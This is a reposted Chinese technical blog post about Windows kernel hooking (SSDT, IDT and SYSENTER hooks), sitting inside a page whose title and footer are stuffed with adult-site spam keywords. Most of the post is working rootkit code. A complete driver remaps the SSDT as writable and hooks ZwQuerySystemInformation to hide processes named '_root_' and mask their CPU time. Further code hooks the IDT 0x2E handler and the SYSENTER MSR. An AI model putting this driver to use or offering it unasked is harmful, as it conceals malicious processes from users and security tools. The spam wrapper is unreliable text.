青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品

S.l.e!ep.¢%

像打了激速一樣,以四倍的速度運轉,開心的工作
簡單、開放、平等的公司文化;尊重個性、自由與個人價值;
posts - 1098, comments - 335, trackbacks - 0, articles - 1
  C++博客 :: 首頁 :: 新隨筆 :: 聯系 :: 聚合  :: 管理

【HOOK技術深入解析】

Posted on 2009-10-25 12:18 S.l.e!ep.¢% 閱讀(2106) 評論(0)  編輯 收藏 引用 所屬分類: RootKit

【詳細過程】
? 這次主要說說核心層的hook。包括SSDT-hook,IDT-hook,sysenter-hook。歡迎討論,指正!內核層需要驅動,有這方面的基礎最好,如果不會,了解下其中的思路也可以的。
?
? II. SSDT-hook,IDT-hook,sysenter-hook
? 一.SSDT-hook
? (一)一般思路:
? 1.先來了解一下,什么是SSDT
? SSDT既System Service Dispath? Table。在了解他之前,我們先了解一下NT的基本組建。在 Windows NT 下,NT 的 executive(NTOSKRNL.EXE 的一部分)提供了核心系統服務。各種 Win32、OS/2 和 POSIX 的 APIs 都是以 DLL 的形式提供的。這些dll中的 APIs 轉過來調用了 NT executive 提供的服務。盡管調用了相同的系統服務,但由于子系統不同,API 函數的函數名也不同。例如,要用Win32 API 打開一個文件,應用程序會調用 CreateFile(),而要用 POSIX API,則應用程序調用 open() 函數。這兩種應用程序最終都會調用 NT executive 中的 NtCreateFile() 系統服務。
系統組建.jpg
系統組件.JPG
用戶模式(User mode)的所有調用,如Kernel32,User32.dll, Advapi32.dll等提供的API,最終都封裝在Ntdll.dll中,然后通過Int 2E或SYSENTER進入到內核模式,通過服務ID,在System Service Dispatcher Table中分派系統函數,舉個具體的例子,再如下圖
調用過程.jpg
調用過程.JPG
? 從上可知,SSDT就是一個表,這個表中有內核調用的函數地址。從上圖可見,當用戶層調用FindNextFile函數時,最終會調用內核層的NtQueryDirectoryFile函數,而這個函數的地址就在SSDT表中,如果我們事先把這個地址改成我們特定函數的地址,那么,哈哈。。。。。。。下來詳細了解一下,SSDT的結構,如下圖:
SSDT.jpg
SSDT.JPG
? KeServiceDescriptorTable:是由內核(Ntoskrnl.exe)導出的一個表,這個表是訪問SSDT的關鍵,具體結構是
? typedef struct ServiceDescriptorTable {
? PVOID ServiceTableBase;
? PVOID ServiceCounterTable(0);
? unsigned int NumberOfServices;
? PVOID ParamTableBase;
? }
?
? 其中,
? ServiceTableBase System Service Dispatch Table 的基地址。
? NumberOfServices 由 ServiceTableBase 描述的服務的數目。
? ServiceCounterTable 此域用于操作系統的 checked builds,包含著 SSDT 中每個服務被調用次數的計數器。這個計數器由 INT 2Eh 處理程序 (KiSystemService)更新。
? ParamTableBase 包含每個系統服務參數字節數表的基地址。
? System Service Dispath Table(SSDT):系統服務分發表,給出了服務函數的地址,每個地址4子節長。
? System Service Parameter Table(SSPT):系統服務參數表,定義了對應函數的參數字節,每個函數對應一個字節。如在0x804AB3BF處的函數需0x18字節的參數。
? 還有一種這樣的表,叫KeServiceDescriptorTableShadow,它主要包含GDI服務,也就是我們常用的和窗口,桌面有關的,具體存在于Win32k.sys。在如圖:
? 服務分發.jpg
服務分發.JPG
? 右側的服務分發就通過KeServiceDescriptorTableShadow。
? 那么下來該咋辦呢?下來就是去改變SSDT所指向的函數,使之指向我們自己的函數。
? 2.Hook前的準備-改變SSDT內存的保護
? 系統對SSDT都是只讀的,不能寫。如果試圖去寫,等你的就是藍臉。一般可以修改內存屬性的方法有:通過cr0寄存器及Memory Descriptor List(MDL)。
? (1)改變CR0寄存器的第1位
? Windows對內存的分配,是采用的分頁管理。其中有個CR0寄存器,如下圖:
CR0.jpg
cr0.jpg??
? 其中第1位叫做保護屬性位,控制著頁的讀或寫屬性。如果為1,則可以讀/寫/執行;如果為0,則只可以讀/執行。SSDT,IDT的頁屬性在默認下都是只讀,可執行的,但不能寫。所以現在要把這一位設置成1。
? (2)通過Memory Descriptor List(MDL)
? 也就是把原來SSDT的區域映射到我們自己的MDL區域中,并把這個區域設置成可寫。MDL的結構:
? typedef struct _MDL {
? struct _MDL *Next;??
? CSHORT Size;??????
? CSHORT MdlFlags;? //關鍵在這里,將來設置成MDL_MAPPED_TO_SYSTEM_VA ,這樣一來,這塊區域就可寫
? struct _EPROCESS *Process;
? PVOID MappedSystemVa;
? PVOID StartVa;
? ULONG ByteCount;
? ULONG ByteOffset;
? } MDL, *PMDL;
? 首先需要知道KeServiceDscriptorTable的基址和入口數,這樣就可以用MmCreateMdl創建一個有起始地址和大小的內存區域。然后把這個MDL結構的flag改成
? MDL_MAPPED_TO_SYSTEM_VA ,那么這個區域就可以寫了。最后把這個內存區域調用MmMapLockedPages鎖定在內存中。大體框架如下:
? //先聲明一個System Service Descriptor Table,我們知道SSDT及SSPT都從這個表中指向
? #pragma pack(1)
? typedef struct ServiceDescriptorEntry {
?
????????? unsigned int *ServiceTableBase;
?
????????? unsigned int *ServiceCounterTableBase;
?
????????? unsigned int NumberOfServices;
?
????????? unsigned char *ParamTableBase;
?
? } SSDT_Entry;
?
? #pragma pack()
?
? __declspec(dllimport) SSDT_Entry KeServiceDescriptorTable;
?
?
? /
? PMDL? g_pmdlSystemCall;
?
? PVOID *MappedSystemCallTable;
? // 代碼
? // 保存原系統調用位置
?
?
?
? // 映射我們的區域
?
? g_pmdlSystemCall = MmCreateMdl(NULL,
?
???????????????????? KeServiceDescriptorTable.ServiceTableBase,
?
???????????????????? KeServiceDescriptorTable.NumberOfServices*4);
?
? if(!g_pmdlSystemCall)
?
???? return STATUS_UNSUCCESSFUL;
?
? MmBuildMdlForNonPagedPool(g_pmdlSystemCall);
?
? // 改變MDL的flags
?
? g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags |
?
?????????????????????????????? MDL_MAPPED_TO_SYSTEM_VA;
?
?
? //在內存中索定,不讓換出
? MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall, KernelMode);
?
? 現在遇到的第一個問題解決了,但接著面臨另外一個問題,如何獲得SSDT中函數的地址呢?
? 3.四個有用的宏
? SYSTEMSERVICE macro:可以獲得由ntoskrnl.exe導出函數,以Zw*開頭函數的地址,這個函數的返回值就是Nt*函數,Nt*函數的地址就在SSDT中
? SYSCALL_INDEX macro:獲得Zw*函數的地址并返回與之通信的函數在SSDT中的索引。
? 這兩個宏之所以能工作,是因為所有的Zw*函數都開始于opcode:MOV eax, ULONG,這里的ULONG就是系統調用函數在SSDT中的索引。
? HOOK_SYSCALL和UNHOOK_SYSCALL macros:獲得Zw*函數的地址,取得他的索引,自動的交換SSDT中索引所對應的函數地址和我們hook函數的地址。
? 這四個宏具體是:
? #define SYSTEMSERVICE(_func) \
????????? KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_func+1)]
?
? #define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)
?
? #define HOOK_SYSCALL(_Function, _Hook, _Orig )?????? \
?
????????? _Orig = (PVOID) InterlockedExchange( (PLONG) \
?
????????? &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
?
? #define UNHOOK_SYSCALL(_Func, _Hook, _Orig )? \
?
????????? InterlockedExchange((PLONG)?????????? \
?
????????? &MappedSystemCallTable[SYSCALL_INDEX(_Func)], (LONG) _Hook)
?????
? 4.小試牛刀:利用SSDT Hook隱藏進程
? 我們所熟知的任務管理器,能察看系統中的所有進程及其他很多信息,這是由于調用了一個叫ZwQuerySystemInformation的內核函數,具體結構是:
? NTSTATUS NewZwQuerySystemInformation(
? IN ULONG SystemInformationClass,? //如果這值是5,則代表系統中所有進程信息
? IN PVOID SystemInformation,? //這就是最終列舉出的信息,和上面的值有關
? IN ULONG SystemInformationLength, //后兩個不重要
? OUT PULONG ReturnLength)
? 如果用我們自己函數,這個函數可以把我們關心的進程過濾掉,再把它與原函數調換,則可達到隱藏的目的,大體思路如下:
? (1)? 突破SSDT的內存保護,如上所用的MDL方法
? (2)? 實現自己的NewZwQuerySystemInformation函數,過濾掉以某些字符開頭的進程
? (3)? 用上面介紹的宏來交換ZwQuerySystemInformation與我們自己的New*函數
? (4)? 卸載New*函數,完成
? 具體實例:來自Rootkit.com,我做了注釋,代碼也很精小。
#include "ntddk.h"
#pragma pack(1)
typedef struct ServiceDescriptorEntry {
??????? unsigned int *ServiceTableBase;
??????? unsigned int *ServiceCounterTableBase; //僅適用于checked build版本
??????? unsigned int NumberOfServices;
??????? unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
#pragma pack()

__declspec(dllimport)? ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
//獲得SSDT基址宏
#define SYSTEMSERVICE(_function)? KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]


PMDL? g_pmdlSystemCall;
PVOID *MappedSystemCallTable;
//獲得函數在SSDT中的索引宏
#define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)
//調換自己的hook函數與原系統函數的地址
#define HOOK_SYSCALL(_Function, _Hook, _Orig )? \
?????? _Orig = (PVOID) InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
//卸載hook函數
#define UNHOOK_SYSCALL(_Function, _Hook, _Orig )? \
?????? InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)

//聲明各種結構
struct _SYSTEM_THREADS
{
??????? LARGE_INTEGER?????????? KernelTime;
??????? LARGE_INTEGER?????????? UserTime;
??????? LARGE_INTEGER?????????? CreateTime;
??????? ULONG?????????????????????????? WaitTime;
??????? PVOID?????????????????????????? StartAddress;
??????? CLIENT_ID?????????????????????? ClientIs;
??????? KPRIORITY?????????????????????? Priority;
??????? KPRIORITY?????????????????????? BasePriority;
??????? ULONG?????????????????????????? ContextSwitchCount;
??????? ULONG?????????????????????????? ThreadState;
??????? KWAIT_REASON??????????? WaitReason;
};

struct _SYSTEM_PROCESSES
{
??????? ULONG?????????????????????????? NextEntryDelta;
??????? ULONG?????????????????????????? ThreadCount;
??????? ULONG?????????????????????????? Reserved[6];
??????? LARGE_INTEGER?????????? CreateTime;
??????? LARGE_INTEGER?????????? UserTime;
??????? LARGE_INTEGER?????????? KernelTime;
??????? UNICODE_STRING????????? ProcessName;
??????? KPRIORITY?????????????????????? BasePriority;
??????? ULONG?????????????????????????? ProcessId;
??????? ULONG?????????????????????????? InheritedFromProcessId;
??????? ULONG?????????????????????????? HandleCount;
??????? ULONG?????????????????????????? Reserved2[2];
??????? VM_COUNTERS???????????????????? VmCounters;
??????? IO_COUNTERS???????????????????? IoCounters; //windows 2000 only
??????? struct _SYSTEM_THREADS????????? Threads[1];
};

// Added by Creative of rootkit.com
struct _SYSTEM_PROCESSOR_TIMES
{
??? LARGE_INTEGER????????? IdleTime;
??? LARGE_INTEGER????????? KernelTime;
??? LARGE_INTEGER????????? UserTime;
??? LARGE_INTEGER????????? DpcTime;
??? LARGE_INTEGER????????? InterruptTime;
??? ULONG????????????? InterruptCount;
};


NTSYSAPI
NTSTATUS
NTAPI ZwQuerySystemInformation(
??????????? IN ULONG SystemInformationClass,
??????????????????????? IN PVOID SystemInformation,
??????????????????????? IN ULONG SystemInformationLength,
??????????????????????? OUT PULONG ReturnLength);


typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)(
??????????? ULONG SystemInformationCLass,
??????????????????????? PVOID SystemInformation,
??????????????????????? ULONG SystemInformationLength,
??????????????????????? PULONG ReturnLength
);

ZWQUERYSYSTEMINFORMATION??????? OldZwQuerySystemInformation;

// Added by Creative of rootkit.com
LARGE_INTEGER????????? m_UserTime;
LARGE_INTEGER????????? m_KernelTime;


//我們的hook函數,過濾掉以"_root_"開頭的進程
NTSTATUS NewZwQuerySystemInformation(
??????????? IN ULONG SystemInformationClass,
??????????? IN PVOID SystemInformation,
??????????? IN ULONG SystemInformationLength,
??????????? OUT PULONG ReturnLength)
{

?? NTSTATUS ntStatus;

?? ntStatus = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (
????????? SystemInformationClass,
????????? SystemInformation,
????????? SystemInformationLength,
????????? ReturnLength );

?? if( NT_SUCCESS(ntStatus))
?? {
????? // Asking for a file and directory listing
????? if(SystemInformationClass == 5)
????? {
?????? // 列舉系統進程鏈表
???? // 尋找以"_root_"開頭的進程
????
?????????
???? struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;
??????????? struct _SYSTEM_PROCESSES *prev = NULL;
????
???? while(curr)
???? {
??????????? //DbgPrint("Current item is %x\n", curr);
????? if (curr->ProcessName.Buffer != NULL)
????? {
??????? if(0 == memcmp(curr->ProcessName.Buffer, L"_root_", 12))
??????? {
????????? m_UserTime.QuadPart += curr->UserTime.QuadPart;
????????? m_KernelTime.QuadPart += curr->KernelTime.QuadPart;

????????? if(prev) // Middle or Last entry
????????? {
??????????? if(curr->NextEntryDelta)
????????????? prev->NextEntryDelta += curr->NextEntryDelta;
??????????? else? // we are last, so make prev the end
????????????? prev->NextEntryDelta = 0;
????????? }
????????? else
????????? {
??????????? if(curr->NextEntryDelta)
??????????? {
????????????? // we are first in the list, so move it forward
????????????? (char *)SystemInformation += curr->NextEntryDelta;
??????????? }
??????????? else // we are the only process!
????????????? SystemInformation = NULL;
????????? }
??????? }
????? }
????? else // Idle process入口
????? {
???????? //? 把_root_進程的時間加給Idle進程,Idle稱空閑時間
?????????
???????? curr->UserTime.QuadPart += m_UserTime.QuadPart;
???????? curr->KernelTime.QuadPart += m_KernelTime.QuadPart;

???????? // 重設時間,為下一次過濾
???????? m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;
????? }
????? prev = curr;
??????? if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta);
??????? else curr = NULL;
?????? }
??? }
??? else if (SystemInformationClass == 8) // 列舉系統進程時間
??? {
???????? struct _SYSTEM_PROCESSOR_TIMES * times = (struct _SYSTEM_PROCESSOR_TIMES *)SystemInformation;
???????? times->IdleTime.QuadPart += m_UserTime.QuadPart + m_KernelTime.QuadPart;
??? }

?? }
?? return ntStatus;
}


VOID OnUnload(IN PDRIVER_OBJECT DriverObject)
{
?? DbgPrint("ROOTKIT: OnUnload called\n");

?? // 卸載hook
?? UNHOOK_SYSCALL( ZwQuerySystemInformation, OldZwQuerySystemInformation, NewZwQuerySystemInformation );

?? // 解索并釋放MDL
?? if(g_pmdlSystemCall)
?? {
????? MmUnmapLockedPages(MappedSystemCallTable, g_pmdlSystemCall);
????? IoFreeMdl(g_pmdlSystemCall);
?? }
}


NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject,
?????????? IN PUNICODE_STRING theRegistryPath)
{
?? // 注冊一個卸載的分發函數,與與應用層溝通
?? theDriverObject->DriverUnload? = OnUnload;

?? // 初始化全局時間為零
?? // 這將會解決時間問題,如果不這樣,盡管隱藏了進程,但時間的消耗會不變,cpu 100%
?? m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;

?? // 儲存舊的函數地址
?? OldZwQuerySystemInformation =(ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation));

?? // 把SSDT隱射到我們的區域,以便修改它為可寫屬性
?? g_pmdlSystemCall = MmCreateMdl(NULL, KeServiceDescriptorTable.ServiceTableBase, KeServiceDescriptorTable.NumberOfServices*4);
?? if(!g_pmdlSystemCall)
????? return STATUS_UNSUCCESSFUL;

?? MmBuildMdlForNonPagedPool(g_pmdlSystemCall);

?? // 改變MDL的Flags屬性為可寫,既然可寫當然可讀,可執行
?? g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA;

?? MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall, KernelMode);

?? // 用了宏,把原來的Zw*替換成我們的New*函數。至此已完成了我們的主要兩步,先突破了SSDT的保護,接著用宏更改了目標函數,下來就剩下具體的過濾任務了
?? HOOK_SYSCALL( ZwQuerySystemInformation, NewZwQuerySystemInformation, OldZwQuerySystemInformation );
?????????????????????????????
?? return STATUS_SUCCESS;
}
?
? 二.IDT hook
? (一)基本思路:IDT(Interrupt Descriptor Table)中斷描述符表,是用來處理中斷的。中斷就是停下現在的活動,去完成新的任務。一個中斷可以起源于軟件或硬件。比如,出現頁錯誤,調用IDT中的0x0E。或用戶進程請求系統服務(SSDT)時,調用IDT中的0x2E。而系統服務的調用是經常的,這個中斷就能觸發。我們現在就想辦法,先在系統中找到IDT,然后確定0x2E在IDT中的地址,最后用我們的函數地址去取代它,這樣以來,用戶的進程(可以特定設置)一調用系統服務,我們的hook函數即被激發。
? (二)需解決的問題:從上面分析可以看出,我們大概需要解決這幾個問題:
? 1.IDT如何獲取呢?SIDT指令可以辦到,它可以在內存中找到IDT,返回一個IDTINFO結構的地址。這個結構中就含有IDT的高半地址和低半地址。為了方便把這兩個半地址合在一起,我們可以用一個宏。IDTINFO,和宏的結構如下:
? typedef struct
? {
? WORD IDTLimit;
? WORD LowIDTbase;? //IDT的低半地址
? WORD HiIDTbase;??? //IDT的高半地址
? } IDTINFO;
? 方便獲取地址存取的宏
? #define MAKELONG(a, b)((LONG)(((WORD)(a))|((DWORD)((WORD)(b)))<< 16))
? 2.IDT有最多256個入口,我們現在要的是其中的0x2E,這個中斷號的入口地址如何獲取呢?
?? #pragma pack(1)
? typedef struct
? {
? WORD LowOffset;?????????? //入口的低半地址
? WORD selector;
? BYTE unused_lo;
? unsigned char unused_hi:5;???? // stored TYPE ?
? unsigned char DPL:2;
? unsigned char P:1;???????? // vector is present
? WORD HiOffset;????????? //入口地址的低半地址
? } IDTENTRY;
? #pragma pack()
? 知道了這個入口結構,就相當于知道了每間房(可以把IDT看作是一排有256間房組成的線性結構)的長度,我們先獲取所有的入口idt_entrys,那么第0x2E個房間的地址也就可以確定了,即idt_entrys[0x2E]。
? 3.如果得到了0x2e的地址,如何用我們的hook地址改寫原中斷地址呢? 見以下核心代碼:
? DWORD KiRealSystemServiceISR_Ptr; // 真正的2E句柄,保存以便恢復hook
? #define NT_SYSTEM_SERVICE_INT 0x2e
? //我們的hook函數
? int HookInterrupts()
? {
?
???? IDTINFO idt_info;????????? //SIDT將返回的結構
?
???? IDTENTRY* idt_entries;??? //IDT的所有入口
?
???? IDTENTRY* int2e_entry;??? //我們目標的入口
?
???? __asm{
?
??????? sidt idt_info;???????? //獲取IDTINFO
?
???? }
??? //獲取所有的入口
???? idt_entries =
?
??? (IDTENTRY*)MAKELONG(idt_info.LowIDTbase,idt_info.HiIDTbase);
? //保存真實的2e地址
???? KiRealSystemServiceISR_Ptr =
??????????????????????????????? MAKELONG(idt_entries[NT_SYSTEM_SERVICE_INT].LowOffset,
?
?????????? idt_entries[NT_SYSTEM_SERVICE_INT].HiOffset);
?
??
? //獲取0x2E的入口地址
???? int2e_entry = &(idt_entries[NT_SYSTEM_SERVICE_INT]);
?
???? __asm{
?
?????? cli;?????????????????????? // 屏蔽中斷,防止被打擾
?
?????? lea eax,MyKiSystemService; // 獲得我們hook函數的地址,保存在eax
?
?????? mov ebx, int2e_entry;????? // 0x2E在IDT中的地址,ebx中分地高兩個半地址
?
?????? mov [ebx],ax;????????????? // 把我們hook函數的地半地址寫入真是第半地址
?
???? shr eax,16???????????????? //eax右移16,得到高半地址
?
?????? mov [ebx+6],ax;?????????? // 寫入高半地址
?
???? sti;????????????????????? //開中斷
?
???? }
?
???? return 0;
?
? }
具體代碼見:www.rootkit.com/vault/fuzen_op/strace_Fuzen.zip
? (三)注意點:
? 1.每個處理器都有個IDT,所以對于多CPU一定要注意,所有的IDT都要hook。
? 2.在winxp,win2k3,vsta下失效。
?
? 三.SYSENTRY hook
? 為了性能的考慮,xp后的系統都改用sysentry命令來進入ring0,去調用SSDT中的服務,不再是通過IDT中的 int 2E。這也使得我們hook也變得相對容易了。
? 首先獲得sysentry的地址,然后改之,不用再考慮IDT了。見下面的代碼:
? #include "ntddk.h"
?
? ULONG d_origKiFastCallEntry; // 原ntoskrnl!KiFastCallEntry地址
?
? VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
? {
??? DbgPrint("ROOTKIT: OnUnload called\n");
? }
?
? // Hook function
? __declspec(naked) MyKiFastCallEntry()
? {
??? __asm {
????? jmp [d_origKiFastCallEntry]? //這啥都沒做,換成你想干的
????????? }
? }
?
? NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath )
? {
??? theDriverObject->DriverUnload? = OnUnload;
?
??? __asm {
???????????????????? mov ecx, 0x176????????????????
????? rdmsr????????????????????????? // 讀IA3_SYSENTER_EIP寄存器值,存有sysenter的地址????????????
????? mov d_origKiFastCallEntry, eax //保存原值,以便恢復
????? mov eax, MyKiFastCallEntry???? // hook函數地址
????? wrmsr????????????????????????? // 將hook函數移入IA32_SYSENTER_EIP寄存器
??? }
?
??? return STATUS_SUCCESS;
? }
?
?
?基本的改變數據結構的hook就說到這里,當然還有DKOM這種高級的技術,有興趣的自己去看看吧。


本文來自CSDN博客,轉載請標明出處:http://blog.csdn.net/geagle/archive/2007/05/07/1598610.aspx

青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品
  • <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>
            国产精品多人| 国产日韩欧美亚洲| 久久久天天操| 亚洲一区黄色| 欧美在线视频不卡| 久久在线精品| 欧美一区国产二区| 麻豆精品精品国产自在97香蕉| 亚洲伊人一本大道中文字幕| 欧美专区18| 欧美gay视频激情| 欧美日韩精品二区第二页| 国产精品毛片大码女人| 欧美激情在线播放| 欧美va亚洲va国产综合| 亚洲欧洲一区二区在线观看| 久久久国产视频91| 美日韩精品视频免费看| 亚洲三级影片| 欧美一区二区视频97| 欧美福利电影在线观看| 国产精品无人区| 亚洲激情啪啪| 欧美一区午夜精品| 亚洲国产成人午夜在线一区| 亚洲一区二区三区四区中文| 老牛嫩草一区二区三区日本| 欧美性猛交99久久久久99按摩 | 久久免费国产| 亚洲精品在线二区| 久久精品亚洲精品国产欧美kt∨| 欧美精品入口| 黄色成人av网站| 午夜久久99| 亚洲欧洲日本专区| 久久免费视频一区| 国产欧美日韩在线视频| 夜夜嗨av一区二区三区| 老司机精品久久| 欧美亚洲免费| 国产精品亚洲人在线观看| 中文国产一区| 亚洲国产高清一区二区三区| 久久久久久夜| 极品尤物久久久av免费看| 久久9热精品视频| 亚洲午夜精品一区二区三区他趣| 欧美日韩高清一区| 亚洲精品小视频| 欧美国产成人精品| 卡一卡二国产精品| 亚洲成人在线网| 欧美jjzz| 欧美v亚洲v综合ⅴ国产v| 国模私拍一区二区三区| 性做久久久久久久免费看| 一区二区三区成人精品| 欧美日韩中文字幕日韩欧美| 一区二区免费看| 日韩写真视频在线观看| 欧美精品一区二区在线观看| 亚洲精品美女在线观看| 亚洲高清一区二| 欧美激情精品久久久久| 亚洲精品亚洲人成人网| 亚洲茄子视频| 欧美日韩精品在线播放| 亚洲婷婷免费| 亚洲欧美日韩一区二区三区在线观看| 午夜视频一区在线观看| 国产欧美一区视频| 亚洲欧美日韩一区二区在线| 中文在线资源观看网站视频免费不卡 | 欧美精品成人| 一区二区三区你懂的| av成人天堂| 国产美女精品免费电影| 久久精品国产91精品亚洲| 欧美影院视频| 亚洲片区在线| 亚洲一区在线视频| 激情综合自拍| 一本大道久久a久久精品综合| 国产精品视频网址| 免费高清在线视频一区·| 欧美激情中文字幕乱码免费| 午夜精品久久久久久久99热浪潮| 久久国产黑丝| 亚洲视频国产视频| 久久九九99| 亚洲亚洲精品三区日韩精品在线视频| 亚洲一区亚洲二区| 亚洲欧洲美洲综合色网| 99视频精品全国免费| 一区二区三区在线免费观看| 亚洲乱码国产乱码精品精98午夜| 国产欧美精品一区| 亚洲欧洲综合| 精品福利免费观看| 亚洲视频在线观看免费| 亚洲黄色一区| 欧美在线亚洲综合一区| 亚洲综合好骚| 欧美不卡一区| 久久视频国产精品免费视频在线| 欧美日韩视频在线第一区| 噜噜噜躁狠狠躁狠狠精品视频| 欧美日韩精品一区二区三区| 免费欧美在线| 国内精品国产成人| 亚洲欧美日韩一区在线观看| 亚洲午夜视频在线观看| 欧美高清视频一区二区| 久久久亚洲一区| 国产精品一区二区在线观看| 亚洲精品日产精品乱码不卡| 亚洲电影下载| 久久久久久亚洲精品中文字幕| 久久精品国产欧美激情| 欧美日韩一级片在线观看| 欧美好骚综合网| 在线成人av| 久久综合精品国产一区二区三区| 99热免费精品| 亚洲高清资源| 在线观看日韩一区| 欧美一区二区三区视频| 性欧美1819sex性高清| 欧美日韩精品欧美日韩精品一 | 欧美激情第8页| 欧美电影在线观看完整版| 国产亚洲欧洲一区高清在线观看| 一区二区av在线| 亚洲图片欧美日产| 欧美日韩不卡在线| 亚洲日产国产精品| 一本久久综合亚洲鲁鲁五月天 | 亚洲一区二区三区免费视频| 亚洲尤物影院| 国产精品高潮呻吟久久av无限| 亚洲激情在线观看视频免费| 亚洲美女免费精品视频在线观看| 欧美精品免费观看二区| 日韩视频专区| 午夜精品区一区二区三| 国产精品久久福利| 亚洲在线视频观看| 中日韩高清电影网| 国产精品成人一区二区三区吃奶| 99精品国产热久久91蜜凸| 一本一本久久a久久精品综合麻豆| 欧美激情小视频| 亚洲午夜视频在线观看| 午夜免费久久久久| 国产综合久久久久影院| 久久国产视频网站| 欧美激情1区2区3区| 在线午夜精品自拍| 国产一区二区三区自拍| 久久婷婷人人澡人人喊人人爽| 亚洲国产合集| 香蕉成人啪国产精品视频综合网| 国精品一区二区三区| 欧美va天堂在线| 亚洲伊人网站| 欧美国产精品久久| 亚洲一区二区毛片| 禁久久精品乱码| 欧美午夜在线| 老司机久久99久久精品播放免费| 亚洲另类自拍| 欧美jizzhd精品欧美喷水| 亚洲天堂久久| 亚洲电影av| 国产欧美综合在线| 欧美国产日韩二区| 欧美在线亚洲一区| 亚洲在线免费视频| 国产美女精品| 久久精品亚洲乱码伦伦中文 | 亚洲一区bb| 伊人久久成人| 欧美日韩精品一区二区在线播放| 欧美一区二区视频网站| 亚洲精品国产欧美| 欧美一区二区在线看| 亚洲免费观看在线观看| 狠狠爱www人成狠狠爱综合网| 欧美日韩一级片在线观看| 久久夜色精品国产| 亚洲欧美在线免费| 99国产精品久久久久久久久久| 亚洲经典在线| 国产精品福利av| 欧美sm重口味系列视频在线观看| 亚洲欧美在线另类| av成人老司机| 最近中文字幕日韩精品| 蜜桃av噜噜一区| 欧美在线精品免播放器视频|